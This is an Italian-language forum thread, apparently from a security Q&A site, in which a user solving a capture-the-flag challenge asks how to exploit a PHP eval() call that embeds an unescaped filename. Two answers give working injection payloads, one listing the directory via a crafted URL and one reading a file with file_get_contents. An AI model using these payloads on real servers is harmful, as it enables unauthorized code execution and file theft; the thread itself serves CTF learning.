Ingresso PHP direttamente alle funzioni

2

Sono in grado di inserire direttamente con nessun vincolo un valore in un insieme di funzioni, ma non sono sicuro di come poterlo sfruttare. L'ho ottenuto iniettando il codice PHP nell'URL per visualizzare il codice sorgente, devo hackerare questa funzione per catturare il flag nascosto in un file nella directory root (la stessa directory di index.php)

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

Questo è il link che devo provare e manipolare. Qualche idea su cosa potrei fare? Non conosco il nome del file che contiene il flag.

    
posta TheHidden 01.10.2015 - 15:07
fonte

2 risposte

2

Inietti a eval () e visualizzerà l'elenco dei file di directory:

';var_dump(scandir(getcwd()));?>

nell'URL:

/download.php?file=files/read_me.txt%27);var_dump(scandir(getcwd()));?>

    
risposta data 03.10.2015 - 14:57
fonte
2

Se controlli il parametro $ fileName, puoi modificare la seguente riga da

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

a

eval("fwrite(fopen('stats/stats.txt','a'),'some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('');"); ?>

$fileName è impostato su some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('

Quindi cosa succede? La stringa some_file.txt'); garantisce che fwrite venga richiamato correttamente (si supponga che il file esista e disponga delle autorizzazioni appropriate) e termina il comando con ; .

Quindi otteniamo il contenuto del file challenge e lo visualizziamo con

echo file_get_contents('challenge_file.txt');

echo(' è espanso a echo(''); in modo che il codice php risultante sia sintatticamente valido.

    
risposta data 01.10.2015 - 16:38
fonte

Leggi altre domande sui tag